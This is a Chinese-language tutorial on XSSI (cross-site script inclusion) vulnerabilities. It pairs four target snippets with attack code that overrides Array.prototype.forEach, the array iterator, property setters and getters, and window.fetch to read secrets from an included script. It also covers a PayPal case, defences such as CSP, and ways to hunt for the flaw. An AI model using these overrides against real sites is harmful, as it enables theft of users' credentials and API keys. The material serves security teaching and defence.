xssi漏洞案例分析+漏洞挖掘
字数 1384 2025-08-25 22:59:03
XSSI漏洞分析与挖掘技术详解
一、XSSI漏洞概述
XSSI(Cross-Site Script Inclusion,跨站脚本包含)是一种安全漏洞,主要由于开发者将敏感数据临时存储在动态JavaScript文件中,导致这些数据可能被恶意网站窃取。
1.1 漏洞背景
- 2018年首次在Freebuf上被详细描述
- 2020年PayPal案例中导致用户账户信息泄露,包括用户名、邮箱等敏感信息,漏洞发现者获得1.5万美元奖金
1.2 漏洞原理
开发过程中常将数据临时存储在动态JS文件中以便全局调用,这些数据可能包含:
- 用户凭证
- API密钥
- 会话信息
- 其他敏感数据
问题在于攻击者可以通过嵌入这些JS文件并覆写JavaScript原生方法,窃取其中的敏感数据。
二、XSSI漏洞攻击技术
2.1 基本攻击方法
攻击者通过在自己的恶意页面中包含目标站点的动态JS文件,并覆写JavaScript原生方法或对象来窃取数据。
2.2 典型攻击案例
案例1:数组内容窃取
目标页面代码:
(function(){
var secret = ["abc","def"];
secret.forEach(function(element){
// do something
});
})();
攻击代码:
<script>
Array.prototype.forEach = function(callback){
var resultstring = "your secret are:<b>";
for (var i = 0,length=this.length;i<length;i++) {
if(i>0){
resultstring += this[i];
}
resultstring +="</b>";
var div = document.getElementById("result");
div.innerHTML = resultstring;
}
};
</script>
案例2:迭代器覆写攻击
目标页面代码:
(function(){
let secretArray = ["this","contains", "an", "API", "key"];
for (let element of secretArray) {
doSomething(element);
}
})();
攻击代码:
Array.prototype[Symbol.iterator]= function() {
let arr = this;
let index = 0;
console.log(arr);
return {
next: function() {
return {
value: arr[index++],
done: index > arr.length
}
}
};
};
案例3:属性访问器攻击
目标页面代码:
(function(){
"use strict";
var api_key ="1391f6bd2f6fe8dcafb847e0615e5b29";
fetch('/api/v1/getusers', {
method: "POST",
body: "api_key=" + api_key
});
})();
攻击代码:
Object.prototype.__defineSetter__('api_key',function(value){
console.log("this value has been setting:");
console.log(value);
return this._api_key = value;
});
Object.prototype.__defineGetter__('api_key',function(value){
console.log("this value has been getting:");
console.log(value);
return this._api_key;
});
案例4:函数覆写攻击
目标页面代码:
(function(){
"use strict";
var api_key ="1391f6bd2f6fe8dcafb847e0615e5b29";
fetch('/api/v1/getusers', {
method: "POST",
body: "api_key=" + api_key
});
})();
攻击代码:
window.fetch = (url, options) => {
console.log(`URL: ${url}, data:${options.body}`);
alert(options.body);
};
案例5:PayPal实际案例
- 泄露JS文件中的CSRF token和session信息
- 触发Google验证码机制后,验证通过返回的表单包含用户敏感信息
- 攻击者通过编写的POC JS文件触发用户Google验证机制,获取返回的响应信息
三、XSSI与JSONP劫持的关系
| 特性 | XSSI | JSONP劫持 |
|---|---|---|
| 目标 | 动态JS文件中的敏感数据 | JSONP回调函数中的数据 |
| 方法 | 覆写JS原生方法/对象 | 插入恶意回调函数 |
| 数据位置 | 服务器为客户端生成的JS文件 | JSONP接口响应 |
| 危害 | 用户凭证泄露、账号接管 | 敏感数据泄露 |
四、漏洞防御措施
-
避免在JS文件中存储敏感数据
- 不要将API密钥、用户凭证等直接存储在JS文件中
- 使用服务器端会话管理敏感数据
-
数据加密
- 对必须存储在JS文件中的数据进行自定义复杂加密
- 实现动态解密机制
-
内容安全策略(CSP)
- 实施严格的CSP策略
- 白名单化允许加载的JS文件来源
- 使用nonce或hash限制脚本执行
-
其他措施
- 使用HTTP-only和Secure标志的Cookie
- 实施CSRF防护机制
- 对敏感操作进行二次验证
五、漏洞挖掘方法
-
静态分析
- 审查网站加载的所有JS文件
- 查找包含敏感数据的动态JS文件
-
动态分析
- 监控网络请求,识别动态生成的JS文件
- 分析JS文件内容是否包含敏感信息
-
攻击模拟
- 尝试在自己的页面中包含目标JS文件
- 测试是否能覆写原生JS方法获取数据
- 验证是否能窃取到敏感信息
-
自动化工具
- 使用Burp Suite等工具扫描JS文件
- 开发自定义脚本检测XSSI漏洞
六、总结
XSSI是一种严重的安全漏洞,可能导致用户敏感信息泄露甚至账号被接管。开发者应避免在JS文件中存储敏感数据,实施严格的CSP策略,并对必须传输的数据进行适当加密。安全研究人员在挖掘此类漏洞时,应重点关注动态生成的JS文件内容和可能的原型污染攻击面。